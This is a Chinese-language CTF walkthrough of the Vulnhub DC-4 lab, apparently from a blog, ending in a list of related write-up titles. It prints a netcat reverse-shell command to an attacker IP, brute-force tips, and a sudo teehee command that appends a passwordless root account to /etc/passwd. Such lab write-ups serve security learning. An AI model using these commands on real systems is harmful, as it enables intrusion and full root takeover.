信息收集

只开了两个端口：22，80
访问网站，只是个登录页，中间件也没什么可用漏洞

尝试爆破，用户就是admin，Admin，administrator
密码找字典。
过程不演示了，burp的模块，或者自己写都可以，但是注意，无论密码错与对状态码都是302，判断条件要设置成返回的字节大小。
用户名是admin，密码是happy
登录，功能只有三个，大概就是在命令行执行三个固定命令

在前端修改执行的命令（如果要用burp抓数据包我看那个空格应该要用加号代替），在你攻击机上监听4444端口

nc 192.168.83.128 4444 -e /bin/bash

反弹成功，将会话变成交互式

肯定是要提权的，先看suid，系统版本，发现没什么问题
翻翻目录，有三个用户，第二个用户目录下有个备份文件，密码文件，应该是jim的，上面扫到22端口，连接ssh

kail上一个应用密码爆出来了

jibril04

还是看别人文章才发现的，这提示。。。

在/var/mail下

Charles的密码:^xHhA&hvim0y

ssh还是什么密码,

切换到charles用户

sudo -l#查看能用什么root权限下的命令，不用密码的那种

teehee -a 在文件后面追加内容但是不覆盖
echo “admin::0:0:::/bin/bash” | sudo teehee -a /etc/passwd#就是在/etc/passwd文件末尾加一行，作用是添加了一个无密码用户，权限root

切换用户即可（不知道为什么charles切换一直问我要密码，换到www-data那个窗口才成功）

总结

提示很少，很多东西都不知道，还是学的太少了

【Vulnhub】DC-4相关推荐

【转载】DC/OS关键技术与应用场景
[转载]DC/OS关键技术与应用场景 2017-02-20 张基恒亦庄小分队作者简介作者简介张基恒(1990-),女,中国联合网络通信有限公司研究院工程师,主要从事大数据.IT架构方面的研究 ...
【vulnhub】靶机- [DC系列]DC9（附靶机)）
主机信息 Kali:192.168.56.113 DC9:192.168.56.112 实验过程先进行主机探测,查找靶机的IP地址: arp-scan --interface eth1 192.16 ...
【Vulnhub】之JIS-CTF-VulnUpload-CTF01
一. 部署方法在官网上下载靶机ova环境:http://www.mediafire.com/file/t5b4nkynxkm9hj2/CTF01.ova 使用VMware搭建靶机环境攻击机使用VM ...
【Vulnhub】之Deathnote
一. 部署方法在官网上下载靶机ova环境:https://download.vulnhub.com/deathnote/Deathnote.ova 使用VMware搭建靶机环境攻击机使用VMwar ...
【Vulnhub】之Nagini
一. 部署方法在官网上下载靶机ova环境:https://download.vulnhub.com/harrypotter/Nagini.ova 使用VMware搭建靶机环境攻击机使用VMware ...
【Vulnhub】搭建Vulnhub靶机
一.Vulnhub介绍 Vulnhub它是一个提供各种网络攻防靶场的平台,里面大部分的环境是要用VMware或者VirtualBox打开运行的. 二.下载去vulnhub的官网 https://ww ...
【Vulnhub】Five86-2
Description Five86-2 is another purposely built vulnerable lab with the intent of gaining experience ...
【vulnhub】Raven2
【VulnHub】JIS-CTF
实验环境: 靶机:192.168.0.149 攻击机kali:192.168.0.103 一.信息收集 1.masscan快速扫端口,发现22,80端口. root@redwand:~# massca ...
【VUlnhub】Tr0ll+Dr4g0n b4ll
Tr0ll 开了三个端口21,22,80 先访问网站没啥,扫一下目录试试ftp的匿名登录用户名anonymous 无密码匿名文件传输能够使用户与远程主机建立连接并以匿名的身份从远程主机上拷贝文 ...

【Vulnhub】DC-4

信息收集

总结

【Vulnhub】DC-4相关推荐

最新文章

热门文章